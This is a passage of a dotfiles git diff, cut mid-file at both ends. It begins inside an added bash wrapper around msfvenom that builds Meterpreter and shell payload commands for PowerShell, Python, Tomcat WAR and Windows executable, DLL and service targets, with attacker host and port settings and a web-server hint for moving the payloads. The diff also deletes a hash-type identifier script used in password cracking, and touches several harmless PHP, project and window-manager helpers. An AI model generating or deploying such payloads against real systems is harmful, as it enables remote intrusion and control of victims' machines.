"${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Powershell +elif [[ "${TYPE}" == "powershell" || "${TYPE}" == "ps1" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="stageless" \ + && _STAGE="_" + [[ "${METHOD}" == "find_port" ]] \ + && METHOD="allports" + TYPE="windows" + FILEEXT="ps1" + PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f ps1 \\\\\n --platform ${TYPE} -e generic/none -a x86 ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Python +elif [[ "${TYPE}" == "python" || "${TYPE}" == "py" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + # Cant do: staged shell // stageless meterpreter // stageless bind - Invalid Payload Selected + if [[ "${STAGE}" == "staged" && "${SHELL}" == "shell" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + elif [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + elif [[ "${STAGE}" == "stageless" && "${DIRECTION}" == "bind" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${DIRECTION} Python. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + fi + TYPE="python" + FILEEXT="py" + PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform ${TYPE} -e generic/none -a ${TYPE} ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Tomcat +elif [[ "${TYPE}" == "tomcat" || "${TYPE}" == "war" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + # Cant do: stageless meterpreter // stageless bind // find_ports (Invalid Payload Selected) + if [[ "${STAGE}" == "stageless" && "${SHELL}" == "meterpreter" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${STAGE} ${SHELL} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + elif [[ "${STAGE}" == "stageless" && "${DIRECTION}" == "bind" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${DIRECTION} ${STAGE} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + elif [[ "${METHOD}" == "find_ports" ]]; then + echo -e " ${YELLOW}[i]${RESET} Unable to do ${METHOD} Tomcat. There ${RED}isn't a option in Metasploit to allow it${RESET}. =(" >&2 + fi + TYPE="tomcat" + FILEEXT="war" + PAYLOAD="java/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f raw \\\\\n --platform java -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Windows +elif [[ "${TYPE}" == "windows" || "${TYPE}" == "win" || "${TYPE}" == "exe" || "${TYPE}" == "dll" || "${TYPE}" == "srv" ]]; then + [[ -z "${SHELL}" ]] \ + && SHELL="meterpreter" + [[ -z "${STAGE}" ]] \ + && STAGE="staged" \ + && _STAGE="/" + [[ "${METHOD}" == "find_port" ]] \ + && METHOD="allports" + # Its able todo anything that you throw at it =). + FILEEXT="exe" + [[ "${TYPE}" == "dll" ]] && FILEEXT="dll" + [[ "${TYPE}" == "srv" ]] && FILEEXT="exe-service" + TYPE="windows" + PAYLOAD="${TYPE}/${SHELL}${_STAGE}${DIRECTION}_${METHOD}" + CMD="msfvenom -p ${PAYLOAD} -f ${FILEEXT} \\\\\n --platform ${TYPE} -a x86 -e generic/none ${LHOST} LPORT=${PORT} \\\\\n > '${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT%-service}'" + doAction "${TYPE}" "${IP}" "${PORT}" "${PAYLOAD}" "${CMD}" "${FILEEXT}" "${SHELL}" "${DIRECTION}" "${STAGE}" "${METHOD}" "${VERBOSE}" + +## Batch/Loop modes +elif [[ "${BATCH}" == "true" || "${LOOP}" == "true" ]]; then + #SUCCESS=true + exit 0 + +## Blank input +elif [[ -z "${TYPE}" ]]; then + echo -e "\n ${YELLOW}[i]${RESET} ${YELLOW}Missing TYPE${RESET} or ${YELLOW}BATCH/LOOP mode${RESET}" + +## Unexpected input +else + echo -e "\n ${YELLOW}[i]${RESET} Unknown type: ${YELLOW}${TYPE}${RESET}" >&2 +fi + + +#-Done--------------------------------------------------------# + + +##### Done! +if [[ "${SUCCESS}" == true ]]; then + echo -e " ${GREEN}[?]${RESET} ${GREEN}Quick web server${RESET} (for file transfer)?: python2 -m SimpleHTTPServer 8080" + echo -e " ${BLUE}[*]${RESET} ${BLUE}Done${RESET}!" +else + doHelp +fi + +exit 0 diff --git a/bin/.bin/php-swap b/bin/.bin/php-swap deleted file mode 100755 index 37ee1935..00000000 --- a/bin/.bin/php-swap +++ /dev/null @@ -1,20 +0,0 @@ -#!/bin/bash - -DOCKER_CONFIG_DIRECTORY="/home/jonathan/.dotfiles/docker/web/" - -if [ ! -z "$1" ]; then - - version="$1" - - if [ "$(whoami)" == "root" ]; then - cd "$DOCKER_CONFIG_DIRECTORY" - docker-compose down - sed "s/%version%/$version/" php/Dockerfile.sample > php/Dockerfile - docker-compose up --build -d - else - gksudo $0 "$version" - fi -else - version="$(echo -e "5.6\n7.0\n7.1\n7.2\n7.3" | rofi -dmenu -p "PHP Version")" - $0 "$version" -fi diff --git a/bin/.bin/php-swap.old b/bin/.bin/php-swap.old deleted file mode 100755 index 98413385..00000000 --- a/bin/.bin/php-swap.old +++ /dev/null @@ -1,53 +0,0 @@ -#!/usr/bin/bash -line=$(php --version | grep "PHP" -m 1) -libphp="/opt/lampp/modules/libphp7.1.so" -case "$1" in - 5) - file="/opt/lampp/etc/extra/httpd-xampp-php5.conf" - phpexe=$(ls /opt/lampp/bin/php-5.*) - phpcgi=$(ls /opt/lampp/bin/php-cgi-5.*) - phpconfig=$(ls /opt/lampp/bin/php-config-5.*) - phpize=$(ls /opt/lampp/bin/phpize-5.*) - ;; - 7 | 7.1) - file="/opt/lampp/etc/extra/httpd-xampp-php7.conf" - phpexe=$(ls /opt/lampp/bin/php-7.1.*) - phpcgi=$(ls /opt/lampp/bin/php-cgi-7.1.*) - phpconfig=$(ls /opt/lampp/bin/php-config-7.1.*) - phpize=$(ls /opt/lampp/bin/phpize-7.1.*) - ;; - 7.0) - file="/opt/lampp/etc/extra/httpd-xampp-php7.conf" - phpexe=$(ls /opt/lampp/bin/php-7.0.*) - phpcgi=$(ls /opt/lampp/bin/php-cgi-7.0.*) - phpconfig=$(ls /opt/lampp/bin/php-config-7.0.*) - phpize=$(ls /opt/lampp/bin/phpize-7.0.*) - libphp="/opt/lampp/modules/libphp7.0.so" - ;; - *) - echo "Please specify the version you want" - exit 1 - ;; -esac - -lampp='/opt/lampp/lampp' -echo $phpexe -if [ "$(id -u)" != "0" ]; then - echo "Sorry, you are not root." - exit 1 -fi - - -$lampp stopapache -ln -s -f $file /opt/lampp/etc/extra/httpd-xampp.conf -ln -s -f $phpexe /opt/lampp/bin/php -ln -s -f $phpcgi /opt/lampp/bin/php-cgi -ln -s -f $phpconfig /opt/lampp/bin/php-config -ln -s -f $phpize /opt/lampp/bin/phpize -ln -s -f $libphp /opt/lampp/modules/libphp7.so - - -$lampp startapache -echo -echo "Now on PHP ${phpexe##*-}" -exit 0 diff --git a/bin/.bin/project-management/project-pass b/bin/.bin/project-management/project-pass new file mode 100755 index 00000000..caa0cad0 --- /dev/null +++ b/bin/.bin/project-management/project-pass @@ -0,0 +1,59 @@ +#!/usr/bin/env bash + +function print_help(){ + echo -e "pass" + echo -e "\t--init\tCreates a password directory and initialised pass in it" + echo -e "\ttakes the same options as pass but works on a project specific folder" +} + +function copy(){ + local current="$(get_current --path)" + local target="$1" + shift + local files="$@" + local destination= "$current/$target" + if [[ "$target" == "--NONE" ]]; then + local destination= "$current/" + fi + if [[ -n "$destination" ]]; then + mkdir -p "$destination" + cp -r "$files" "$destination" + fi +} + + +if [ -n "$1" ]; then + case "$1" in + -h|--help) + print_help | column -t -s" " + exit 0 + ;; + --parent-help) + print_help + exit 0 + ;; + --target) + target="$2" + shift + shift + copy "$target" "$@" + exit 0 + ;; + --www) + shift + copy "www" "$@" + exit 0 + ;; + --bin) + shift + copy "bin" "$@" + exit 0 + ;; + *) + copy "--NONE" "$@" + exit 0 + ;; + esac +else + read_prompt | xargs project-new +fi diff --git a/bin/.bin/siteEnv b/bin/.bin/siteEnv deleted file mode 100755 index efe4040b..00000000 --- a/bin/.bin/siteEnv +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env zsh - - -source "$HOME/.dotfiles/shells/functions" -sitesDir="$HOME/Sites/" - - -chosen="$(ls -d ${sitesDir}*/ | sed "s+$sitesDir++g; s/\/$//" | rofi -dmenu -i -p "Site")" - -open="$(echo -n "Yes\nNo" | rofi -dmenu -i -p "Open the local site")" - -siteDir="${sitesDir}${chosen}/" - - -cd "$siteDir" - -theme - - -setsid "$TERMINAL" & -setsid "$TERMINAL" & -setsid "$TERMINAL" & -sleep 1 - -i3-msg "move down" -i3-msg "resize shrink height" -i3-msg "resize shrink height" -i3-msg "resize shrink height" -i3-msg "split horizontal" - -setsid "$TERMINAL" & - -if [ "$open" = "Yes" ]; then - open-local -fi diff --git a/bin/.bin/string_decode.py b/bin/.bin/string_decode.py deleted file mode 100755 index 5ce4662f..00000000 --- a/bin/.bin/string_decode.py +++ /dev/null @@ -1,563 +0,0 @@ -#!/usr/bin/env python2 - -logo=''' ######################################################################### - # modified, adapted and encreased for www.marcoramilli.blogspot.com # - #########################################################################''' - -algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"} - -# hash.islower() minusculas -# hash.isdigit() numerico -# hash.isalpha() letras -# hash.isalnum() alfanumerico - -def CRC16(): - hs='4607' - if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("101020") -def CRC16CCITT(): - hs='3d08' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("101040") -def FCS16(): - hs='0e5b' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("101060") - -def CRC32(): - hs='b33fd057' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("102040") -def ADLER32(): - hs='0607cb42' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("102020") -def CRC32B(): - hs='b764a0d9' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("102060") -def XOR32(): - hs='0000003f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("102080") - -def GHash323(): - hs='80000000' - if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("103040") -def GHash325(): - hs='85318985' - if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("103020") - -def DESUnix(): - hs='ZiY8YtDKXJwYQ' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False: - jerar.append("104020") - -def MD5Half(): - hs='ae11fd697ec92c7c' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("105060") -def MD5Middle(): - hs='7ec92c7c98de3fac' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("105040") -def MySQL(): - hs='63cea4673fd25f46' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("105020") - -def DomainCachedCredentials(): - hs='f42005ec1afe77967cbc83dce1b4d714' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106025") -def Haval128(): - hs='d6e3ec49aa0f138a619f27609022df10' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106160") -def Haval128HMAC(): - hs='3ce8b0ffd75bc240fc7d967729cd6637' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106165") -def MD2(): - hs='08bbef4754d98806c373f2cd7d9a43c4' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106060") -def MD2HMAC(): - hs='4b61b72ead2b0eb0fa3b8a56556a6dca' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106120") -def MD4(): - hs='a2acde400e61410e79dacbdfc3413151' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106040") -def MD4HMAC(): - hs='6be20b66f2211fe937294c1c95d1cd4f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106100") -def MD5(): - hs='ae11fd697ec92c7c98de3fac23aba525' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106020") -def MD5HMAC(): - hs='d57e43d2c7e397bf788f66541d6fdef9' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106080") -def MD5HMACWordpress(): - hs='3f47886719268dfa83468630948228f6' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106140") -def NTLM(): - hs='cc348bace876ea440a28ddaeb9fd3550' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106029") -def RAdminv2x(): - hs='baea31c728cbf0cd548476aa687add4b' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106027") -def RipeMD128(): - hs='4985351cd74aff0abc5a75a0c8a54115' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106180") -def RipeMD128HMAC(): - hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106185") -def SNEFRU128(): - hs='4fb58702b617ac4f7ca87ec77b93da8a' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106200") -def SNEFRU128HMAC(): - hs='59b2b9dcc7a9a7d089cecf1b83520350' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106205") -def Tiger128(): - hs='c086184486ec6388ff81ec9f23528727' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106220") -def Tiger128HMAC(): - hs='c87032009e7c4b2ea27eb6f99723454b' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106225") -def md5passsalt(): - hs='5634cc3b922578434d6e9342ff5913f7' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106240") -def md5saltmd5pass(): - hs='245c5763b95ba42d4b02d44bbcd916f1' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106260") -def md5saltpass(): - hs='22cc5ce1a1ef747cd3fa06106c148dfa' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106280") -def md5saltpasssalt(): - hs='469e9cdcaff745460595a7a386c4db0c' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106300") -def md5saltpassusername(): - hs='9ae20f88189f6e3a62711608ddb6f5fd' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106320") -def md5saltmd5pass(): - hs='aca2a052962b2564027ee62933d2382f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106340") -def md5saltmd5passsalt(): - hs='de0237dc03a8efdf6552fbe7788b2fdd' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106360") -def md5saltmd5passsalt(): - hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106380") -def md5saltmd5saltpass(): - hs='d8f3b3f004d387086aae24326b575b23' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106400") -def md5saltmd5md5passsalt(): - hs='81f181454e23319779b03d74d062b1a2' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106420") -def md5username0pass(): - hs='e44a60f8f2106492ae16581c91edb3ba' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106440") -def md5usernameLFpass(): - hs='654741780db415732eaee12b1b909119' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106460") -def md5usernamemd5passsalt(): - hs='954ac5505fd1843bbb97d1b2cda0b98f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106480") -def md5md5pass(): - hs='a96103d267d024583d5565436e52dfb3' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106500") -def md5md5passsalt(): - hs='5848c73c2482d3c2c7b6af134ed8dd89' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106520") -def md5md5passmd5salt(): - hs='8dc71ef37197b2edba02d48c30217b32' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106540") -def md5md5saltpass(): - hs='9032fabd905e273b9ceb1e124631bd67' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106560") -def md5md5saltmd5pass(): - hs='8966f37dbb4aca377a71a9d3d09cd1ac' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106580") -def md5md5usernamepasssalt(): - hs='4319a3befce729b34c3105dbc29d0c40' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106600") -def md5md5md5pass(): - hs='ea086739755920e732d0f4d8c1b6ad8d' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106620") -def md5md5md5md5pass(): - hs='02528c1f2ed8ac7d83fe76f3cf1c133f' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106640") -def md5md5md5md5md5pass(): - hs='4548d2c062933dff53928fd4ae427fc0' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106660") -def md5sha1pass(): - hs='cb4ebaaedfd536d965c452d9569a6b1e' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106680") -def md5sha1md5pass(): - hs='099b8a59795e07c334a696a10c0ebce0' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106700") -def md5sha1md5sha1pass(): - hs='06e4af76833da7cc138d90602ef80070' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106720") -def md5strtouppermd5pass(): - hs='519de146f1a658ab5e5e2aa9b7d2eec8' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("106740") - -def LineageIIC4(): - hs='0x49a57f66bd3d5ba6abda5579c264a0e4' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0: - jerar.append("107080") -def MD5phpBB3(): - hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0: - jerar.append("107040") -def MD5Unix(): - hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0: - jerar.append("107060") -def MD5Wordpress(): - hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0: - jerar.append("107020") - -def MD5APR(): - hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0: - jerar.append("108020") - -def Haval160(): - hs='a106e921284dd69dad06192a4411ec32fce83dbb' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109100") -def Haval160HMAC(): - hs='29206f83edc1d6c3f680ff11276ec20642881243' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109200") -def MySQL5(): - hs='9bb2fb57063821c762cc009f7584ddae9da431ff' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109040") -def MySQL160bit(): - hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0: - jerar.append("109060") -def RipeMD160(): - hs='dc65552812c66997ea7320ddfb51f5625d74721b' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109120") -def RipeMD160HMAC(): - hs='ca28af47653b4f21e96c1235984cb50229331359' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109180") -def SHA1(): - hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109020") -def SHA1HMAC(): - hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109140") -def SHA1MaNGOS(): - hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109220") -def SHA1MaNGOS2(): - hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109240") -def Tiger160(): - hs='c086184486ec6388ff81ec9f235287270429b225' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109080") -def Tiger160HMAC(): - hs='6603161719da5e56e1866e4f61f79496334e6a10' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109160") -def sha1passsalt(): - hs='f006a1863663c21c541c8d600355abfeeaadb5e4' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109260") -def sha1saltpass(): - hs='299c3d65a0dcab1fc38421783d64d0ecf4113448' - if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: - jerar.append("109280") -def sha1saltmd5pass(): - 